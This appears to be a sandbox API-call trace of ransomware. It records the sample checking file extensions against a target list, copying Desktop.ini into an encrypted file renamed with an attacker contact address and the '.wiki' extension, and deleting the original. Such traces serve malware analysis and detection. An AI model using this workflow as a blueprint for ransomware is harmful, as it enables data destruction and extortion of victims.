78 [0050.412] lstrlenW (lpString=".jpg") returned 4 [0050.412] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.412] lstrcmpiW (lpString1=".htm", lpString2=".wiki") returned -1 [0050.412] lstrlenW (lpString="Bears.htm") returned 9 [0050.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.515] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=255) returned 1 [0050.515] CloseHandle (hObject=0x18c) returned 1 [0050.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0050.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.515] lstrlenW (lpString=".doc") returned 4 [0050.515] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.515] lstrlenW (lpString=".docx") returned 5 [0050.515] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0050.515] lstrlenW (lpString=".pdf") returned 4 [0050.515] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.515] lstrlenW (lpString=".xls") returned 4 [0050.515] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.515] lstrlenW (lpString=".xlsx") returned 5 [0050.515] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0050.515] lstrlenW (lpString=".ppt") returned 4 [0050.515] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.515] lstrlenW (lpString=".zip") returned 4 [0050.515] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.515] lstrlenW (lpString=".rar") returned 4 [0050.515] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.515] lstrlenW (lpString=".bz2") returned 4 [0050.515] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.516] lstrlenW (lpString=".7z") returned 3 [0050.516] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString=".dbf") returned 4 [0050.516] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString=".1cd") returned 4 [0050.516] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString=".jpg") returned 4 [0050.516] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString=".doc") returned 4 [0050.516] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.516] lstrlenW (lpString=".docx") returned 5 [0050.516] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0050.516] lstrlenW (lpString=".pdf") returned 4 [0050.516] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString=".xls") returned 4 [0050.516] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString=".xlsx") returned 5 [0050.516] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0050.516] lstrlenW (lpString=".ppt") returned 4 [0050.516] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.516] lstrlenW (lpString=".zip") returned 4 [0050.516] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString=".rar") returned 4 [0050.516] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.516] lstrlenW (lpString=".bz2") returned 4 [0050.516] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.516] lstrlenW (lpString=".7z") returned 3 [0050.516] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.517] lstrlenW (lpString=".dbf") returned 4 [0050.517] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.517] lstrlenW (lpString=".1cd") returned 4 [0050.517] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0050.517] lstrlenW (lpString=".jpg") returned 4 [0050.517] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.517] lstrcmpiW (lpString1=".gif", lpString2=".wiki") returned -1 [0050.517] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0050.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.517] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4587) returned 1 [0050.517] CloseHandle (hObject=0x18c) returned 1 [0050.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0050.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".doc") returned 4 [0050.518] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.518] lstrlenW (lpString=".docx") returned 5 [0050.518] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0050.518] lstrlenW (lpString=".pdf") returned 4 [0050.518] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString=".xls") returned 4 [0050.518] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString=".xlsx") returned 5 [0050.518] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0050.518] lstrlenW (lpString=".ppt") returned 4 [0050.518] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".zip") returned 4 [0050.518] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString=".rar") returned 4 [0050.518] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString=".bz2") returned 4 [0050.518] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.518] lstrlenW (lpString=".7z") returned 3 [0050.518] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".dbf") returned 4 [0050.518] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".1cd") returned 4 [0050.518] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".jpg") returned 4 [0050.518] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.518] lstrlenW (lpString=".doc") returned 4 [0050.518] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.518] lstrlenW (lpString=".docx") returned 5 [0050.519] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0050.519] lstrlenW (lpString=".pdf") returned 4 [0050.519] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.519] lstrlenW (lpString=".xls") returned 4 [0050.519] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.519] lstrlenW (lpString=".xlsx") returned 5 [0050.519] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0050.519] lstrlenW (lpString=".ppt") returned 4 [0050.519] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.519] lstrlenW (lpString=".zip") returned 4 [0050.519] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.519] lstrlenW (lpString=".rar") returned 4 [0050.519] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.519] lstrlenW (lpString=".bz2") returned 4 [0050.519] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.519] lstrlenW (lpString=".7z") returned 3 [0050.519] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.519] lstrlenW (lpString=".dbf") returned 4 [0050.519] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.519] lstrlenW (lpString=".1cd") returned 4 [0050.519] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0050.519] lstrlenW (lpString=".jpg") returned 4 [0050.519] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.519] lstrcmpiW (lpString1=".gif", lpString2=".wiki") returned -1 [0050.519] lstrlenW (lpString="Connectivity.gif") returned 16 [0050.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.520] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2319) returned 1 [0050.520] CloseHandle (hObject=0x18c) returned 1 [0050.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0050.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.520] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.520] lstrlenW (lpString=".doc") returned 4 [0050.520] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.520] lstrlenW (lpString=".docx") returned 5 [0050.520] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0050.520] lstrlenW (lpString=".pdf") returned 4 [0050.520] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.520] lstrlenW (lpString=".xls") returned 4 [0050.520] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.520] lstrlenW (lpString=".xlsx") returned 5 [0050.520] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0050.520] lstrlenW (lpString=".ppt") returned 4 [0050.520] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.520] lstrlenW (lpString=".zip") returned 4 [0050.520] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.520] lstrlenW (lpString=".rar") returned 4 [0050.520] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.520] lstrlenW (lpString=".bz2") returned 4 [0050.521] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.521] lstrlenW (lpString=".7z") returned 3 [0050.521] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString=".dbf") returned 4 [0050.521] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString=".1cd") returned 4 [0050.521] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString=".jpg") returned 4 [0050.521] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString=".doc") returned 4 [0050.521] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.521] lstrlenW (lpString=".docx") returned 5 [0050.521] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0050.521] lstrlenW (lpString=".pdf") returned 4 [0050.521] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString=".xls") returned 4 [0050.521] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString=".xlsx") returned 5 [0050.521] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0050.521] lstrlenW (lpString=".ppt") returned 4 [0050.521] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.521] lstrlenW (lpString=".zip") returned 4 [0050.521] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString=".rar") returned 4 [0050.521] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.521] lstrlenW (lpString=".bz2") returned 4 [0050.521] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.521] lstrlenW (lpString=".7z") returned 3 [0050.521] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.522] lstrlenW (lpString=".dbf") returned 4 [0050.522] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.522] lstrlenW (lpString=".1cd") returned 4 [0050.522] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0050.522] lstrlenW (lpString=".jpg") returned 4 [0050.522] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.522] lstrcmpiW (lpString1=".ini", lpString2=".wiki") returned -1 [0050.522] lstrlenW (lpString="Desktop.ini") returned 11 [0050.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.522] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=645) returned 1 [0050.522] CloseHandle (hObject=0x18c) returned 1 [0050.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0050.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.523] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.523] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0050.523] GetLastError () returned 0x0 [0050.523] ReadFile (in: hFile=0x18c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x285, lpOverlapped=0x0) returned 1 [0050.524] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x290, lpOverlapped=0x0) returned 1 [0050.525] ReadFile (in: hFile=0x18c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.525] WriteFile (in: hFile=0x180, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.525] SetEndOfFile (hFile=0x180) returned 1 [0050.525] CloseHandle (hObject=0x180) returned 1 [0050.526] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.526] SetEndOfFile (hFile=0x18c) returned 1 [0050.526] CloseHandle (hObject=0x18c) returned 1 [0050.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x26) returned 1 [0050.527] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0050.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.527] lstrlenW (lpString=".doc") returned 4 [0050.527] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.527] lstrlenW (lpString=".docx") returned 5 [0050.527] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.527] lstrlenW (lpString=".pdf") returned 4 [0050.527] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.527] lstrlenW (lpString=".xls") returned 4 [0050.527] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.527] lstrlenW (lpString=".xlsx") returned 5 [0050.527] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.527] lstrlenW (lpString=".ppt") returned 4 [0050.527] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.527] lstrlenW (lpString=".zip") returned 4 [0050.527] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.527] lstrlenW (lpString=".rar") returned 4 [0050.527] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString=".bz2") returned 4 [0050.528] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.528] lstrlenW (lpString=".7z") returned 3 [0050.528] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString=".dbf") returned 4 [0050.528] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString=".1cd") returned 4 [0050.528] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString=".jpg") returned 4 [0050.528] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString=".doc") returned 4 [0050.528] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.528] lstrlenW (lpString=".docx") returned 5 [0050.528] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.528] lstrlenW (lpString=".pdf") returned 4 [0050.528] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString=".xls") returned 4 [0050.528] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString=".xlsx") returned 5 [0050.528] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.528] lstrlenW (lpString=".ppt") returned 4 [0050.528] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.528] lstrlenW (lpString=".zip") returned 4 [0050.528] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString=".rar") returned 4 [0050.528] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.528] lstrlenW (lpString=".bz2") returned 4 [0050.528] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.529] lstrlenW (lpString=".7z") returned 3 [0050.529] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.529] lstrlenW (lpString=".dbf") returned 4 [0050.529] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.529] lstrlenW (lpString=".1cd") returned 4 [0050.529] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0050.529] lstrlenW (lpString=".jpg") returned 4 [0050.529] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.529] lstrcmpiW (lpString1=".emf", lpString2=".wiki") returned -1 [0050.529] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0050.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.529] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2d8ff1c | out: 